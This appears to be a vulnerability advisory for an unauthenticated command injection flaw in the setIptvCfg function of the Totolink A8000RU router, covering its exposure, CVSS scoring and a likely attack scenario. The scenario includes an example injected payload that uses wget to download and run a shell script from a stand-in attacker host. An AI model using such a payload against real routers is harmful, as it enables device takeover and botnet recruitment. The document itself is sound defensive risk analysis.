Totolink A8000RU EUVD-2026-25839

No special conditions - remote unauthenticated exploitation against default configurations of Totolink A8000RU firmware 7.1cu.643_b20200521. The /cgi-bin/cstecgi.cgi endpoint is part of the standard web management interface enabled by default. Attack requires only network reachability to the router's administrative web interface (typically TCP 80 or 443), which is internet-facing in many consumer deployments where users have not disabled remote management. No authentication, non-default settings, or specific IPTV service activation required - the vulnerable setIptvCfg function processes unauthenticated requests. Exploitation is limited only by whether the administrative interface is accessible from the attacker's network position.

CRITICAL real-world risk. CVSS 8.9 (Critical) with worst-case attack characteristics: network vector (AV:N), low complexity (AC:L), no privileges required (PR:N), no user interaction (UI:N), and high impact across confidentiality, integrity, and availability (VC:H/VI:H/VA:H). The E:P (Proof-of-concept) indicator in CVSS 4.0 vector confirms public exploit availability, corroborated by GitHub POC reference. This combination - internet-facing consumer device, unauthenticated remote attack, and public exploit code - creates immediate actionable risk. Totolink routers are commonly deployed in home and small business networks with default configurations exposed to the internet, making them attractive targets for botnet recruitment (Mirai-style campaigns). The device is likely end-of-life given the 2020 firmware date, suggesting no vendor patch forthcoming. While not in CISA KEV at time of analysis, the public POC and vulnerable device population suggest exploitation is feasible and may already be occurring in targeted campaigns. EPSS data not provided, but historical patterns for authenticated router command injection vulnerabilities show moderate-to-high exploitation rates within 30-90 days of POC publication.

An attacker scans the internet for Totolink A8000RU routers with exposed web management interfaces on port 80 or 443. Using the public GitHub POC exploit, they craft an HTTP POST request to /cgi-bin/cstecgi.cgi with a malicious setIptvCfg parameter containing shell metacharacters and embedded commands (e.g., ; wget http://attacker.com/malware.sh -O /tmp/m; sh /tmp/m ;). The vulnerable CGI handler executes this injected command with root privileges, downloading and running attacker-controlled malware. Within seconds, the router is compromised and can be used as a bot in a DDoS botnet, a pivot point for attacking internal network devices, or for DNS hijacking to redirect victims to phishing sites.